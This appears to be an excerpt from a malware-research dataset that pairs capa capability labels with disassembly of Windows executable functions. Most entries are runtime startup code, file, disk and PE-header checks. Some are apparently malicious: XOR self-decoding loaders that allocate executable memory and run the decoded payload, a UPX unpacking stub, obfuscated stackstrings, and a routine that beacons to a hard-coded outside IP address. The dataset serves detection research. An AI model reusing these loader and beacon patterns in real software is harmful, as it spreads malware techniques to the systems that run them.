joyce8/EMBER2024-capa huggingface dataset:
Function at 0x452be5
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x4613a8
call fcn.004532c0
push 1
call fcn.00452d9e
pop ecx
test al, al
je 0x452bcf
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.00452d6c
mov byte [ebp - 0x24], al
mov eax, dword [0x46351c]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x452bcf
test eax, eax
jne 0x452aed
mov dword [0x46351c], ecx
push 0x456234
push 0x456228
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x452ad0
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x452bbf
push 0x456224
push 0x456218
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
pop ecx
pop ecx
mov dword [0x46351c], 2
jmp 0x452af2
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.00452ef2
pop ecx
call fcn.00453083
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x452b23
push esi
call fcn.00452e5e
pop ecx
test al, al
je 0x452b23
mov esi, dword [esi]
push edi
push 2
push edi
mov ecx, esi
call dword [0x456210]
call esi
call fcn.00453089
mov esi, eax
cmp dword [esi], edi
je 0x452b41
push esi
call fcn.00452e5e
pop ecx
test al, al
je 0x452b41
push dword [esi]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
pop ecx
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_initial_narrow_environment
mov edi, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___argv
mov esi, dword [eax]
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___argc
push edi
push esi
push dword [eax]
call main
add esp, 0xc
mov esi, eax
call fcn.004531af
test al, al
je 0x452bd6
test bl, bl
jne 0x452b74
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
push 0
push 1
call fcn.00452f0f
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x452bbf
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
push 7
call fcn.0045308f
push esi
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
push dword [ebp - 0x20]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__exit
int3
call fcn.00452fc6
jmp 0x452a63

Function at 0x4531af
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
test eax, eax
je 0x4531ee
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4531ee
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4531ee
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4531ee
cmp dword [ecx + 0x74], 0xe
jbe 0x4531ee
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4558c0
Capabilities:
Allocate thread local storage

Disassembly:
push ebx
push edi
push esi
sub esp, 0x20
cmp dword [ecx + 4], 0
mov esi, ecx
je 0x45592a
lea ebx, [esi + 0xc]
mov dword [esp + 4], 0
lea eax, [esp + 4]
push 0
push eax
push 0
push ebx
call dword [sym.imp.kernel32.dll_InitOnceBeginInitialize]
cmp eax, 1
mov dword [esp], eax
jne 0x455965
cmp dword [esp + 4], 0
je 0x45594c
call dword [sym.imp.kernel32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x45597a
mov edi, eax
inc eax
mov dword [esi], eax
mov eax, dword [0x4634cc]
nop dword [eax]
mov dword [esi + 8], eax
lock cmpxchg dword [0x4634cc], esi
jne 0x455910
push 0
push 0
push ebx
call dword [sym.imp.kernel32.dll_InitOnceComplete]
jmp 0x45595c
call dword [sym.imp.kernel32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [esp], eax
je 0x4559bd
mov ecx, eax
xor eax, eax
inc ecx
lock cmpxchg dword [esi], ecx
jne 0x455950
mov edi, dword [esp]
jmp 0x45595c
mov edi, dword [esi]
jmp 0x45595b
mov edi, eax
push dword [esp]
call dword [sym.imp.kernel32.dll_TlsFree]
dec edi
mov eax, edi
add esp, 0x20
pop esi
pop edi
pop ebx
ret
mov ecx, esp
lea edx, [esp + 8]
mov dword [esp + 8], 0
call fcn.00455a00
ud2
push 0
push 4
push ebx
call dword [sym.imp.kernel32.dll_InitOnceComplete]
lea ecx, [esp + 8]
mov edx, 0x45e3fc
mov dword [esp + 8], 0x45e3f4
mov dword [esp + 0xc], 1
mov dword [esp + 0x18], 0
mov dword [esp + 0x10], 0x45c5f8
mov dword [esp + 0x14], 0
call fcn.004538c0
ud2
mov ecx, esp
lea edx, [esp + 8]
mov dword [esp + 8], 0x45e3f4
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 0x45c5f8
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call fcn.00455a60
ud2
Function at 0x10054cd
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, dword [0x100704c]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
test esi, esi
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x70], eax
je 0x1005503
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push eax
mov dword [ebp - 0x74], eax
call fcn.01005198
test eax, eax
jne 0x1005507
xor eax, eax
jmp 0x100556c
push edi
push 0x33
lea eax, [ebp - 0x6c]
push esi
push eax
call dword [sym.imp.msvcrt.dll_wcsncpy]
mov edi, dword [sym.imp.msvcrt.dll_wcslen]
and word [ebp - 6], 0
lea eax, [ebp - 0x6c]
push eax
call edi
add esp, 0x10
cmp word [ebp + eax*2 - 0x6e], 0x5c
jne 0x100553e
lea eax, [ebp - 0x6c]
push eax
call edi
and word [ebp + eax*2 - 0x6e], 0
pop ecx
lea eax, [ebp - 0x6c]
push eax
call fcn.010051bc
mov edi, eax
cmp edi, 0xffffffff
jne 0x1005552
xor eax, eax
jmp 0x100556b
mov ecx, dword [ebp - 0x70]
push ebx
push esi
push dword [ebp - 0x74]
push edi
call fcn.010051fa
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
mov ecx, dword [ebp - 4]
pop esi
pop ebx
call fcn.01005656
leave
ret 0xc

Function at 0xefd288
Capabilities:
Encode data using xor

Disassembly:
jmp 0xefd292
add byte [eax], ah
or al, 0
add byte [eax], al
add byte [eax], al
pushal
call 0xefd298
pop ebp
sub ebp, 0x10
sub ebp, 0xafd288
jmp 0xefd2ae
mov eax, 0xafd288
add eax, ebp
add eax, 0x4c
mov ecx, 0x5c8
mov edx, 0x898cee96
xor byte [eax], dl
inc eax
dec ecx
jne 0xefd2c5
jmp 0xefd2d8
sbb eax, 0xaa1f1d5b
xchg esi, eax
xchg esi, eax
xchg esi, eax
pop ss
push edi
outsb dx, byte [esi]
xchg esi, eax
xchg esi, eax
xchg esi, eax
xchg ebp, eax
pop ebx
nop
xchg esi, eax
xchg esi, eax
xchg esi, eax
sub al, 0xbe
xchg esi, eax
xchg esi, eax
xchg esi, eax
popal
je 0xefd28a
pop esi
sbb eax, 0x96969a17
xchg esi, eax
xchg ebp, eax
push ebx
sbb esi, edx
mov dl, 0x6a
pop ds
xchg edx, eax
mov dl, 0xc6
invalid
Function at 0x429d40
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x24000]
push edi
or ebp, 0xffffffff
jmp 0x429d62
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x429d69
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x429d58
mov eax, 1
add ebx, ebx
jne 0x429d7b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x429d70
jne 0x429d8c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x429d70
xor ecx, ecx
sub eax, 3
jb 0x429da0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x429e12
mov ebp, eax
add ebx, ebx
jne 0x429dab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x429db8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x429ddc
inc ecx
add ebx, ebx
jne 0x429dc8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x429dbd
jne 0x429dd9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x429dbd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x429dfc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x429ded
jmp 0x429d5e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x429dfc
add edi, ecx
jmp 0x429d5e
pop esi
mov edi, esi
mov ecx, 0x46
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x429e1a
cmp byte [edi], 3
jne 0x429e1a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x429e1f
lea edi, [esi + 0x27000]
mov eax, dword [edi]
or eax, eax
je 0x429e97
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2a1b0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2a1ec]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x429e4c
mov ecx, edi
jns 0x429e7b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2a1f0]
or eax, eax
je 0x429e91
mov dword [ebx], eax
add ebx, 4
jmp 0x429e69
call dword [esi + 0x2a200]
mov ebp, dword [esi + 0x2a1f4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1df]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x429ecb
sub esp, 0xffffff80
jmp 0x401540
Function at 0x40110b
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x410004]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
jne 0x401158
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x404]
push 0x3ff
push 0x400
push eax
call fcn.004011a6
lea eax, [ebp - 0x404]
push eax
call fcn.004011a6
add esp, 0x18
push 1
call dword [sym.imp.kernel32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401b66
leave
ret

Function at 0x4011a6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x4011b5
pop dword [ebp - 0x14]
mov eax, 0x91e50cad
sub eax, 0x91a4faf8
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xc17e2eb4
sub dword [ebp - 0x24], 0x732be969
mov dword [ebp - 0x20], 0xc1997f90
sub dword [ebp - 0x20], 0x8f66334b
mov dword [ebp - 0x1c], 0x667ce986
add dword [ebp - 0x1c], 0xe5cf5aa8
mov dword [ebp - 0x18], 0x2056c7b1
sub dword [ebp - 0x18], 0x2056c7b1
lea eax, [ebp - 0x24]
push eax
mov eax, 0x91f31a2
add eax, 0xf7219eaa
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xaa14b69c
add dword [ebp - 0x24], 0xca5db2ba
mov dword [ebp - 0x20], 0xc9acd9f1
add dword [ebp - 0x20], 0x77bf8784
mov dword [ebp - 0x1c], 0x7657b9b5
sub dword [ebp - 0x1c], 0x12e84d49
mov dword [ebp - 0x18], 0x7dc32af0
sub dword [ebp - 0x18], 0x7dc32af0
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3b18b
push 0
call eax
mov ecx, 0x4e7e
mov ebx, eax
mov edx, 0x6f302a2a
sub edx, 0x6eee7a2a
add edx, dword [ebp - 0x14]
mov edi, 0x6ae051c1
add edi, 0x661460c5
sub dword [ebp - 0x10], edx
mov esi, dword [edx]
xor dword [ebp - 8], 0xaf26336e
add esi, edi
add dword [ebp - 4], 0xda4ddd9c
mov dword [ebx], esi
mov dword [ebp - 8], 0x3f554363
add ebx, 0xc9b7dbe2
add ebx, 0x36482422
add edx, 4
loop 0x4012cc
add eax, 0x12ccb
xor ebx, ebx
add ebx, eax
add eax, 0x18039914
sub eax, 0x1803990f
mov ecx, 0x1784255d
sub ecx, 0x1744255d
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x408992
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x4089a1
pop dword [ebp - 0x2c]
mov eax, 0x4e78cebb
add eax, 0xb1c7bae6
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x3b1b9
push 0
mov eax, 0x4370c77c
sub eax, 0x432fe6a4
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0x4f92
mov ebx, eax
mov edi, 0x413bc4
add edi, dword [ebp - 0x2c]
mov edx, 0x279df5b5
add edx, 0x87932286
xor dword [ebp - 0x28], edx
mov esi, dword [edi]
add dword [ebp - 0x1c], 0x756c5ad0
sub esi, edx
sub dword [ebp - 4], 0xe55da780
mov dword [ebx], esi
xor dword [ebp - 0x28], edx
add ebx, 0x5d4ef190
sub ebx, 0x5d4ef18c
add edi, 4
loop 0x4089f4
add eax, 0xbaadbae5
sub eax, 0xbaac89ca
xor ebx, ebx
add ebx, eax
add eax, 0xc55c0db3
sub eax, 0xc55c0dae
mov ecx, 0xb0fe8e85
add ecx, 0x4f41717b
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x401ac5
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push esi
push edi
push 7
mov esi, str.http:__217.73.66.1_minilog.php
pop ecx
lea edi, [ebp - 0x400]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0xf8
xor eax, eax
lea edi, [ebp - 0x3e1]
xor esi, esi
rep stosd dword es:[edi], eax
push esi
push esi
push esi
push esi
push str.3727060049RO
stosb byte es:[edi], al
call dword [sym.imp.WININET.dll_InternetOpenA]
push esi
mov edi, eax
push 0x80000000
push esi
lea eax, [ebp - 0x400]
push esi
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
je 0x401b29
push eax
call esi
push edi
call esi
pop edi
pop esi
leave
ret
Function at 0x457202
Capabilities:
Reference sql statements

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
test eax, eax
je 0x457229
cmp dword [ebp + 0x10], 0
je 0x457229
push dword [ebp + 0xc]
push str.SELECT_DISTINCT_subdomain_FROM_domain_data_WHERE_domain___d
push dword [ebp + 0x10]
push dword [eax]
call fcn.00457ec3
add esp, 0x10
pop ebp
ret
push 0xa
pop eax
pop ebp
ret

Function at 0x458177
Capabilities:
Create directory

Disassembly:
push 0x1c
mov eax, 0x54c8e2
call fcn.004e0221
mov esi, dword [ebp + 8]
push 4
pop edi
lea eax, [ebp - 0x28]
push esi
push eax
call fcn.004b9aee
xor ebx, ebx
push esi
mov dword [ebp - 4], ebx
call fcn.0045852c
add esp, 0xc
test al, al
jne 0x4581bf
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push ebx
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
neg eax
sbb eax, eax
and edi, eax
push ebx
push 1
lea ecx, [ebp - 0x28]
call fcn.00403c00
mov eax, edi
call fcn.004e01df
ret

Function at 0x4581d2
Capabilities:
Get common file path
Get startup folder

Disassembly:
push 0x240
mov eax, 0x54c912
call fcn.004e0221
mov esi, dword [ebp + 8]
xor ecx, ecx
xor eax, eax
mov bl, cl
mov dword [ebp - 0x21c], 7
mov dword [ebp - 0x220], ecx
mov word [ebp - 0x230], ax
lea eax, [ebp - 0x24c]
push eax
push ecx
push ecx
push 0x2b
push ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0x24c], ecx
call dword [sym.imp.SHELL32.dll_SHGetFolderLocation]
test eax, eax
lea eax, [ebp - 0x218]
push eax
js 0x458275
push dword [ebp - 0x24c]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
test eax, eax
je 0x458267
cmp word [ebp - 0x218], 0
jne 0x458245
xor eax, eax
jmp 0x458252
lea eax, [ebp - 0x218]
push eax
call fcn.004e17b8
pop ecx
push eax
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x230]
call fcn.00403d70
mov bl, 1
push dword [ebp - 0x24c]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
jmp 0x4582b7
push 0
push 0
push 0x2b
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x4582b7
cmp word [ebp - 0x218], 0
jne 0x458295
xor eax, eax
jmp 0x4582a2
lea eax, [ebp - 0x218]
push eax
call fcn.004e17b8
pop ecx
push eax
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x230]
call fcn.00403d70
mov bl, 1
mov ecx, dword [ebp - 0x220]
test ecx, ecx
je 0x45832b
cmp dword [ebp - 0x21c], 8
lea eax, [ebp - 0x230]
cmovae eax, dword [ebp - 0x230]
cmp word [eax + ecx*2 - 2], 0x5c
jne 0x4582ee
lea eax, [ecx - 1]
push 0
push eax
lea ecx, [ebp - 0x230]
call fcn.004588e7
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x248]
push eax
call fcn.004b9ba3
pop ecx
pop ecx
push eax
mov ecx, esi
call fcn.004280b0
lea ecx, [ebp - 0x248]
call fcn.00401470
mov edi, 0x55b88c
push edi
call fcn.004e0140
pop ecx
push eax
push edi
mov ecx, esi
call fcn.004139f0
push 0
push 1
lea ecx, [ebp - 0x230]
call fcn.00403c00
mov al, bl
call fcn.004e01df
ret
Function at 0x458342
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x59de30]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.004b9aee
cmp dword [ebp - 8], 8
pop ecx
lea eax, [ebp - 0x1c]
cmovae eax, dword [ebp - 0x1c]
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x458381
test al, 0x10
jbe 0x458381
mov bl, 1
jmp 0x458383
xor bl, bl
push 0
push 1
lea ecx, [ebp - 0x1c]
call fcn.00403c00
mov ecx, dword [ebp - 4]
mov al, bl
xor ecx, ebp
pop ebx
call fcn.004da4c1
leave
ret

Function at 0x45852c
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x59de30]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.004b9aee
cmp dword [ebp - 8], 8
pop ecx
lea eax, [ebp - 0x1c]
cmovae eax, dword [ebp - 0x1c]
pop ecx
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
lea ebx, [eax - 1]
neg ebx
push 0
sbb bl, bl
push 1
lea ecx, [ebp - 0x1c]
inc bl
call fcn.00403c00
mov ecx, dword [ebp - 4]
mov al, bl
xor ecx, ebp
pop ebx
call fcn.004da4c1
leave
ret
Function at 0x45b3f0
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x45b418
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x45b413
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x45b3fd
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x45b405
cmp edx, ebx
jne 0x45b553
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x45b3d4
add eax, dword [eax + 4]
jmp 0x45b3c1
mov dword [ebp + 0xc], ebx
jmp 0x45b423
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x45b43b
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x45b459
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x45b4b7
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x45b49e
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x45b4a7
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x45b4b1
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x45b493
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x45b41d
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x45b504
dec eax
je 0x45b4fb
sub eax, 3
je 0x45b4f2
mov dword [ebp - 4], 0x40
jmp 0x45b521
mov dword [ebp - 4], 4
jmp 0x45b507
mov dword [ebp - 4], 0x20
jmp 0x45b507
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x45b553
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x45b4d3
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.0045ad64
jp 0x45b4d8
fistp dword [ecx + 0x6a1475ff]
add dword [esi - 1], edx
xlatb
mov eax, esi
jmp 0x45b55f
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x45bc70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.0045ad42
or byte [eax + 0x2ff845c6], ah
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
and byte [ebp - 0x36b], 0
mov byte [ebp - 0x36a], 0xaa
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0x12
mov byte [ebp - 0x367], 0x30
mov byte [ebp - 0x366], 0x21
mov byte [ebp - 0x365], 6
mov byte [ebp - 0x364], 0x2c
mov byte [ebp - 0x363], 0x26
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
invalid
invalid
movsb byte es:[edi], byte [esi]

Function at 0x471ef0
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
mov eax, dword [0x59de30]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 8], 0x200
mov dword [ebp - 0x118], 0
lea eax, [ebp - 0x110]
push eax
push 0x104
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.0045a180
add esp, 0x10
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0
jne 0x472076
lea eax, [ebp - 0x110]
push eax
call fcn.0046c3b0
add esp, 4
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0
je 0x472066
call fcn.004737d0
test eax, eax
je 0x471fe6
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x124], eax
jmp 0x471f8e
mov eax, dword [ebp - 0x124]
add eax, 2
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x124]
movzx ecx, word [eax]
test ecx, ecx
je 0x471fb8
mov eax, dword [ebp - 0x124]
movzx ecx, word [eax]
cmp ecx, 0x5c
jne 0x471fb6
xor eax, eax
mov ecx, dword [ebp - 0x124]
mov word [ecx], ax
jmp 0x471fb8
jmp 0x471f7f
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x11c]
push ecx
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x11c]
push eax
mov ecx, dword [ebp - 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
mov dword [ebp - 0x118], eax
jmp 0x472057
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x128], eax
jmp 0x472003
mov eax, dword [ebp - 0x128]
add eax, 1
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x128]
movsx ecx, byte [eax]
test ecx, ecx
je 0x47202b
mov eax, dword [ebp - 0x128]
movsx ecx, byte [eax]
cmp ecx, 0x5c
jne 0x472029
mov eax, dword [ebp - 0x128]
mov byte [eax], 0
jmp 0x47202b
jmp 0x471ff4
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x11c]
push ecx
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x11c]
push eax
mov ecx, dword [ebp - 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x120]
push eax
call fcn.004dbc6f
add esp, 4
cmp dword [ebp - 0x118], 0
jne 0x472076
mov dword [ebp - 8], 0x200
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004da4c1
mov esp, ebp
pop ebp
ret